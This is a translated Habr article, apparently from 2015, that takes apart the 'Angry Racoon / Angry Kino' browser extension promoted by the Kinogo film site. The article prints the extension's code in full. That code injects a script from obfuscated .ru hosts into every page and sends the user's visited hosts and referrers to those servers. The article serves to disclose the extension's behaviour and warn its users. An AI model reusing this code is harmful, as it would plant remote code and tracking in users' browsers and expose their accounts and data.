📜 ⬆️ ⬇️

Browser extension from Kinogo site

Continuing the theme of the review extensions, consider the following.
When entering the Kinogo website, a banner began to emerge:



I wondered what kind of extension it was and decided to look at the code.

Why did the extension appear?


Information from the creators (screenshot of the group vk, below will be duplicated by the text, do not spoil the vision):
')


Screenshot Text
Hello! Recently, we launched an alert for visitors on kinogo.co regarding the installation of our plug-ins (under Mozilla Firefox, Google Chrome, Yandex Browser, etc.) aimed at bypassing the possible blocking of our project by providers of the Russian Federation and countries bordering the Russian Federation. We confirm all our plugins, and we actively support them.

The only plugin that is not yet ready for us under the Opera browser, expect in the near future. Internet Explorer support will not be available.

The alert flies out once a day on the site, if today for any reason you have not installed the extension, you will be able to install or refuse tomorrow, by closing the window.

About expansion


It is worth noting that there are several extensions (not less than 3). Different users may have different links to extensions. Those extensions that I came across contained identical code. Therefore, I will stop there .

Name: Angry Racoon - Ban Care
Last updated: May 5, 2015.
Version: 1.0.3

Expansion Code Overview


I will briefly describe only an interesting chain:

1. Parsing any extension begins with manifest.json

manifest.json
{ "background": { "page": "html/background.html" }, "content_scripts": [ { "js": [ "core/frameworks/cajon.js", "core/frameworks/jquery.js", "core/process.js" ], "matches": [ "*://*/*" ], "run_at": "document_start" } ], "description": "           !", "icons": { "128": "images/128.png", "16": "images/16.png", "48": "images/48.png" }, "manifest_version": 2, "name": "Angry Kino -   ", "permissions": [ "webRequest", "webRequestBlocking", "webNavigation", "tabs", "\u003Call_urls>" ], "update_url": "https://clients2.google.com/service/update2/crx", "version": "1.0.3", "web_accessible_resources": [ "images/_.png", "core/content.js", "core/contentSession.js", "core/messaging.js", "core/frameworks/uri.js", "core/backgroundHandlers.js", "core/backgroundSession.js", "core/backgroundUtils.js" ] } 


2. From the value of the “content_scripts” key, it follows that, in addition to frameworks, the process.js file is connected to EVERY page opened by the user

process.js
 require.config({ baseUrl: chrome.extension.getURL('/') }); require([ "core/content" ], function() { }); 


3. In process.js, using the require function, the file “content.js” is connected.

content.js
 define(function (require) { exports = {}; (function () { var messageDispatcher = require('core/messaging').MessageDispatcher; messageDispatcher.sendToBackground( { cmd: 'GetRequestUrl' }, function (url) { if (url) { url = url.replace(/^https?:/, '') + '&r=' + encodeURIComponent(document.referrer) + '&h=' + encodeURIComponent(document.location.host) + '&rand=' + (new Date()).getTime(); if (document.head) { $("head").append($("<script />", { src: url })); } else { var i = setInterval(function () { if (document.head) { clearInterval(i); $("head").append($("<script />", { src: url })); } }, 100); } } }); if (/^(.*\.)?kinogo\.(\w+)$/i.test(document.location.host)) { var i2 = setInterval(function () { if (document.body) { clearInterval(i2); $("body").append($("<div>").addClass('KINOEXTESIONWASINSTALLED').hide()); } }, 100); } }).call(this); return exports; }); 


4. In content.js, an interesting function call is the messageDispatcher.sendToBackground from the messaging.js file.

messaging.js
 define(function (require) { exports = {}; (function () { var _handlers = {}; function dispatcher(handlers, request, sender, sendResponse) { if (!request || !request.cmd || !(typeof request.cmd === 'string')) { throw 'Error: Bad request!'; } var handlerName = 'handle' + request.cmd; var handler = handlers[handlerName]; if (!(typeof handler === 'function')) { return; } handler(request.args, sender, sendResponse); } chrome.extension.onMessage.addListener( function (request, sender, sendResponse) { dispatcher(_handlers, request, sender, sendResponse); } ); exports.MessageDispatcher = { addHandlers: function(handlers) { for(var name in handlers) { _handlers[name] = handlers[name]; } }, sendToBackground: function (request, callback) { callback = callback || $.noop; chrome.extension.sendMessage(request, callback); }, sendToContentScript: function (tabId, request, callback) { callback = callback || $.noop; chrome.tabs.sendMessage(tabId, request, callback); } }; }).call(this); return exports; }); 


5. This function is a wrapper over the Extensions API for easy messaging between the background script and the scripts inserted on each page.

6. So, the messageDispatcher.sendToBackground function requests the url from the background script.

7. The search for getting the file with the code for sending the url is similar to the items above, so just a chain:

 manifest.json == (key "background.page") ==> background.html
 backround.html == (script) ==> demon.js
 demon.js == (require) ==> backround.js
 background.js == (require) ==> backgroundHandlers.js
 backgroundHandlers.js == (require) ==> backgroundUtils.js


8. Consider backgroundUtils.js

backgroundUtils.js
 define(function (require) { exports = {}; (function () { var Session = require('core/backgroundSession').Session; var ProxyGetter = require('core/proxy').ProxyGetter; exports = { getRequestUrl: function() { if (ProxyGetter.serverIp) { return ( ProxyGetter.serverIp + '/getscripts2?' + this.getRequestParams() ); } }, getRequestParams: function() { return ('&b=' + Session.buildId + '&uid=' + Session.instanceId + '&insd=' + Session.installDate + '&sid=' + '&df=' ); }, sendNotify: function(from, to) { if (ProxyGetter.serverIp) { var url = ( ProxyGetter.serverIp + '/kinogo_log?' + this.getRequestParams() + '&from=' + encodeURIComponent(from) + '&to=' + encodeURIComponent(to) ); $.get(url); } } }; }).call(this); return exports; }); 


9. Using the getRequestUrl function and the file with the addresses proxy.js, the extension receives one of the 4 urls (randomly).

 'http://outrageous.ru',
 'http://thrilling.ru',
 'http://frightened.ru',
 'http://agitated.ru',

proxy.js
 define(function (require) { exports = {}; (function () { /** * Bypass protection from Roskomnadzor */ var reserveLinks = [ 'ht' + 'tp' + ':/' + '/outr' + 'ageous' + '.ru', 'ht' + 'tp' + ':/' + '/thri' + 'lling' + '.ru', 'ht' + 'tp' + ':/' + '/frig' + 'htened' + '.ru', 'ht' + 'tp' + ':/' + '/agit' + 'ated' + '.ru', ]; var ProxyGetter = {}; ProxyGetter.serverIp = null; /** * Use proxy * @param {type} callback * @returns {undefined} */ ProxyGetter.findServer = function (callback) { ProxyGetter.serverIp = null; if(reserveLinks.length > 0) { ProxyGetter.serverIp = reserveLinks[parseInt(Math.random() * reserveLinks.length)]; } callback(); }; exports.ProxyGetter = ProxyGetter; }).call(this); return exports; }); 


10. So, on the client script request, the background returns one of the 4 urls. Let's return to the client script and the sendToBackground function (clause 6). And this function adds to the url of the referrer for the page and inserts the script on the page according to the received url.

The most interesting thing after reading the code is to confirm the findings in practice:



And now let's put everything together:

1. Quite a popular site asks to install the extension.
2. The extension inserts an arbitrary script on each user page that can do anything (I will mention the phrases from the previous article - online banking, passwords, messages, anonymity).
3. In addition to the script, there is an explicit sending of information about the user: visited pages and referrers for these pages.

Draw your own conclusions.

PS Previously, the article contained the phrase "Continuing the theme of malicious extensions, consider the following.". She was deliberately removed. Once again I draw attention to the fact that the purpose of the article is to show what functions and capabilities the code of this extension has in addition to the stated ones.

Source: https://habr.com/ru/post/257361/


All Articles